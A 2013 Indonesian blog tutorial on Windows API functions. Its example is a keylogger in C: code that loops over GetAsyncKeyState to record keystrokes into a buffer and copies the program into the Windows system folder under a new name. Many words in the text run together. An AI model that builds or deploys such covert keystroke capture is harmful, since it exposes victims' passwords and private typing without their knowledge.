=== SELAMAT DATANG DI www.freelifeadventure.blogspot.com SEMOGA ARTIKEL KAMI MENARIK UNTUK ANDA ===

Jumat, 29 November 2013

Fungsi Windows API

Penulis tidak bertanggung jawab atas akibat atau dampak yang disebabkan olehpenggunaan materi dari tutorial ini. Tujuan penulis hanya ingin menyampaikanmateri kepada pihak-pihak yang bertanggung jawab dan "Want to learn", tidakkepada pihak-pihak yang ingin merugikan orang lain.Intro API atau Application Programming Interface merupakan fungsi-fungsi
Eksternal yang terdapat dalam file-file perpustakaan Windows (LibraryWindows) atau file library lainnya yang dapat dimanfaatkan oleh aplikasi. File Lib (Library) ini terdapat di Folder system Windows(C:\Windows\System32). Penggunaannya dalam sebuah aplikasiharuslah dideklarasikan terlebih dahulu di Source Code aplikasi.Tujuan Penggunaan􀀹 Kadang kita berpikir "Gimana sih aplikasi kita biar bisa nyatet ketikan
keyboard?" atau "Gimana sih aplikasi kita bisa nyari folder systemwindust(Baca:Windows) secara otomatis tanpa kita kasi tahu pathnyaterlebih dahulu?", jawabannya adalah dengan menggunakan fungsifungsiAPI yang ada. Dibuat dari bahasa apakah Fungsi API itu? Padapermulaannya API ditulis dengan bhs C/C++ lalu pemanfaatannyasangatlah luas oleh bhs program lain (VB, DELPHI, Dll) yang tentunyamemerlukan suatu konversi terhadap pendeklarasiannya.Tools atau Softwarez dan Skill yang diperlukan􀀹 Setidaknya anda telah belajar menggunakan ataupun membuat suatu
aplikasi dengan VB (Visual Basic) atau DELPHI ataupun C/C++.Softwarez : M$ Visual Basic 5.0/6.0, DELPHI, M$ Visual C++ 6.0 ataucompiler C/C++ yang lain􀀹 Tools : API Text Viewer
Tutorial􀀹 Sebagai contoh akan saya berikan suatu Aplikasi Keylogger (Aplikasi
yang mencatat Ketikan keyboard lalu menyimpannya ke File .log) denganbhs C. Fungsi API yang akan digunakan adalah :- GetSystemDirectory(LPSTR lpBuffer,Uint uSize)Adalah Fungsi API yang akan mencari Folder/Direktori System WindustDimana LPSTR lpBuffer adalah variabel dengan tipe data char[256] danUint uSize adalah variabel dengan tipe data Integer dengan nilaisizeof(lpBuffer).

Nilai balik fungsi ini akan memberikan nilai sesuaidengan panjang Direktori system tsb. Contoh :int i;char j[256];i = GetSystemDirectory(j,sizeof(j));misal j bermuatan = "F:\Windows\System32"maka i == sizeof(j) == 19- GetAsyncKeyState(Uint var)Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilaikode ascii yang benar/valid. Contoh :if(GetAsyncKeyState(i)==-32767)printf("OK");maka bila kita ketik apa saja di keyboard maka akan mencetak OK"di layar.- GetKeyState(Uint var)Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akanmengembalikan nilai 1 bila var bernilai benar/valid. Fungsi ini akanmengecek kondisi dari abjad yang diketikkan apakah huruf KAPITAL(VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak.Contoh :if(GetKeyState(VK_CAPITAL))printf("KAPITAL");maka bila kita menekan tombol CAPSLOCK maka akan mencetak"KAPITAL" di layar.􀀹 Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs
C/C++ kita dapat langsung menggunakannya tanpa perlu dideklarasikanterlebih dahulu. Sedangkan untuk Visual Basic atau DELPHI harusdideklarasikan di bagian General. Contoh (Dalam Visual BAsic 6.0) :(General)Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long)As IntegerSebagaimana kita dapat lihat fungsi API GetAsyncKeyState tersebutmenggunakan library "user32" dan nilai baliknya adalah tipr data Integer.Sedangkan implementasinya pada program keylogger kita adalah sebagaiberikut :􀀹 Penggunaan GetAsyncKeyState() :
----------------potong di sini-------------------while(1) //Perulangan tak hingga (Infinite Loop){for(j=8;j<=255;j++) //perulangan sesuai dengan ASCII (dimulai dari ASCII 8){if (GetAsyncKeyState(j)==-32767) //Fungsi API, nilai balik = -32767 bilaASCII valid{if (j==8) //dimana j adalah var intcatat("[del]"); //masukkan ke fungsi catat()if (j==13)catat("[enter]");if (j==32)catat("[space]");if(j==VK_CAPITAL)catat("[CapitalLetters]");if (j==VK_TAB)catat("[TAB]");if (j ==VK_SHIFT)catat("[SHIFT]");if (j ==VK_CONTROL)catat("[CTRL]");if (j ==VK_PAUSE)catat("[PAUSE]");if (j ==VK_KANA)catat("[Kana]");if (j ==VK_ESCAPE)catat("[ESC]");if (j ==VK_END)catat("[END]");if (j ==VK_HOME)catat("[HOME]");if (j ==VK_LEFT)catat("[LEFT]");if (j ==VK_UP)catat("[UP]");if (j ==VK_RIGHT)catat("[RIGHT]");if (j ==VK_DOWN)catat("[DOWN]");if (j ==VK_SNAPSHOT)catat("[PRINT]");if (j ==VK_NUMLOCK)catat("[NUM LOCK]");if (j ==190 || j==110)catat(".");if (j >=96 && j <= 105) //periksa apakah yg ditekan adalah numerikkey{j = j - 48;teks[x]=j; //teks adalah char teks[5000]x++; //var x digunakan untuk pengaturan string dalam arrayteks}if (j >=48 && j <= 59) //periksa apakah yg ditekan adalah numerikkey di numpad{teks[x]=j;x++;}if (j !=VK_LBUTTON || j !=VK_RBUTTON){if (j >=65 && j <=90) //{if (GetKeyState(VK_CAPITAL)) //fungsi API GetKeyState()catat(&j);else{j = j +32; //mencatat alfabet kecil (non-kapital)teks[x]=j;x++;}}}}}}int catat(char *tamp2) //fungsi untuk memasukkan string ke dalam array teks{sprintf(tamp,"%s",tamp2);strcat(teks,tamp);x=x+strlen(tamp);}----------------potong di sini-------------------$>Penggunaan GetSystemDirectory() :----------------potong di sini-------------------m=GetSystemDirectory(s,255); //m adalah var integer yang akan berisi panjang daripath folder System Windustif(m!=0) //Cek apakah m tidak sama dengan 0strcat(dir,s); //memasukkan path dari folder system ke var char dir[256]y=CopyFile(argv[0],(strcat(dir,"coba.exe")),TRUE) // copy file kita ke folder windust,jika berhasil y akan bernilai TRUE----------------potong di sini-------------------􀀹 Potongan Source Code diatas belumlah optimal, dikarenakan masih
menggunakan statement-statement yang sama berulang kali. Lalubagaimana dengan fungsi API yang lain? MAsih banyak fungsi-fungsiAPI yang lain seperti keybd_event, SetActiveWindow, LoadAcceleratorsdan lain-lain. Tetapi karena keterbatasan waktu dan tempat saya tidakbisa menjabarkan satu persatu, mungkin pada kesempatan yang lain.

Tidak ada komentar:

Posting Komentar